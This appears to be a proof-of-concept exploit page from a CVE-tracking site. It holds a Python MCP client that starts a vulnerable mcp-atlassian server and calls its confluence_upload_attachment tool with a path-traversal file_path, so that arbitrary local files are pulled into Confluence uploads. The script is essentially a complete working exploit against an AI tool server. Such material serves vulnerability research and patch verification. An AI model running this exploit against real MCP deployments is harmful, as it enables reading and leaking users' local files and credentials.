5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / mcp_client.py PY
#!/usr/bin/env python3
"""
Real MCP stdio client. Launches the vulnerable mcp-atlassian server,
calls tools/list, then tools/call upload_attachment with a traversal file_path.
"""
import asyncio
import json
import os
import sys

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client


async def run(file_path: str, mock_url: str, mcp_bin: str) -> int:
    env = os.environ.copy()
    env.update({
        "CONFLUENCE_URL":      mock_url,
        "CONFLUENCE_USERNAME": "test",
        "CONFLUENCE_API_TOKEN": "test",
        "READ_ONLY_MODE":      "false",
        "ENABLED_TOOLS":       "confluence_upload_attachment",
        "MCP_LOGGING_STDOUT":  "false",
    })

    params = StdioServerParameters(
        command=mcp_bin,
        args=["--transport", "stdio", "-vv"],
        env=env,
    )

    async with stdio_client(params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()
            tools = await session.list_tools()
            names = [t.name for t in tools.tools]
            print(f"[client] tools loaded ({len(names)}): "
                  f"{[n for n in names if 'upload' in n or 'attachment' in n]}")

            print(f"[client] calling upload_attachment file_path={file_path!r}")
            try:
                result = await session.call_tool(
                    "confluence_upload_attachment",
                    arguments={
                        "content_id": "123456",
                        "file_path":  file_path,
                        "comment":    "poc",
                    },
                )
                print("[client] isError=", result.isError)
                for c in result.content:
                    txt = getattr(c, "text", None)
                    if txt:
                        print("[client] result:", txt[:500])
            except Exception as e:
                print(f"[client] call_tool raised: {e}")
                return 2
            return 0


if __name__ == "__main__":
    file_path = sys.argv[1]
    mock_url  = sys.argv[2]
    mcp_bin   = sys.argv[3]
    sys.exit(asyncio.run(run(file_path, mock_url, mcp_bin)))